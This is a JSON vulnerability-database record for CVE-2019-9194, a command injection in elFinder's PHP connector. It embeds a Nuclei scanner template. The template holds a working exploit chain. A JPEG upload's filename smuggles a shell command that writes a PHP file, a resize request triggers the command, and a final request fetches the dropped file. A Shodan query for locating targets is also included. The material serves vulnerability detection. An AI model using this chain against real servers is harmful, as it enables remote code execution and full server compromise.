{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-9194/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-9194/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-9194/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-9194/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-9194/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-9194"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-9194"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-9194.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2019-9194\n\ninfo:\n  name: elFinder <= 2.1.47 - Command Injection\n  author: r00tuser111\n  severity: critical\n  description: |\n    elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.\n    The vulnerability occurs when performing image operations on JPEG files, where the filename\n    is passed to the `exiftran` utility without proper sanitization, allowing command injection.\n  impact: |\n    Attackers can execute arbitrary system commands via command injection during JPEG image processing operations, leading to complete server compromise.\n  remediation: |\n    Upgrade to elFinder version 2.1.48 or later.\n  reference:\n    - https://www.exploit-db.com/exploits/46481\n    - https://www.exploit-db.com/exploits/46539/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-9194\n    - https://github.com/cved-sources/cve-2019-9194\n    - https://github.com/Studio-42/elFinder/releases/tag/2.1.48\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-9194\n    cwe-id: CWE-78\n    epss-score: 0.9673\n    epss-percentile: 0.99885\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: studio-42\n    product: elfinder\n    shodan-query: 'http.title:\"elfinder\"'\n  tags: cve,cve2019,elfinder,rce,intrusive,file-upload,vkev,vuln\n\nvariables:\n  rand_string: '{{to_lower(rand_text_alpha(6))}}'\n  file_name: '{{to_lower(rand_text_alpha(6))}}'\n  php_cmd: \"<?php echo md5('{{file_name}}');unlink(__FILE__);?>\"\n  payload: \"{{rand_string}}.jpeg;echo {{base64(php_cmd)}} | base64 -d > {{file_name}}.php;echo {{rand_string}}.jpeg\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /php/connector.minimal.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"cmd\"\n\n        upload\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"target\"\n\n        l1_Lw\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"upload[]\"; filename=\"{{payload}}\"\n        Content-Type: image/jpeg\n\n        {{hex_decode(\"ffd8ffe000104a46494600010101006000600000ffed003850686f746f73686f7020332e30003842494d040400000000001c1c027400101c020000020004fffe003b43524541544f523a2067642d6a7065672076312e3020287573696e6720494a47204a50454720763830292c207175616c697479203d2038320affdb0043000604040504040605050506060607090e0909080809120d0d0a0e1512161615121414171a211c17181f1914141d271d1f2223252525161c292c28242b21242524ffdb00430106060609080911090911241814182424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424ffc000110800c0010603012200021101031101ffc4001f\")}}\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n    extractors:\n      - type: json\n        part: body\n        name: hash\n        internal: true\n        json:\n          - '.added[0].hash'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains_all(body, 'added', 'hash')\"\n        internal: true\n\n  - raw:\n      - |\n        GET /php/connector.minimal.php?target={{hash}}&degree=180&mode=rotate&cmd=resize HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(content_type, 'application/json')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /php/{{file_name}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body,\"{{md5(file_name)}}\")'\n# digest: 490a0046304402207fa942c8453192eb68a0f7e04a2e70b311a9a108e918decb471b1576d5d091c80220049a43eedeb5c450864accbada6c9fbcc8be9460c53063daf81f3466bc3438de:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-9194"
}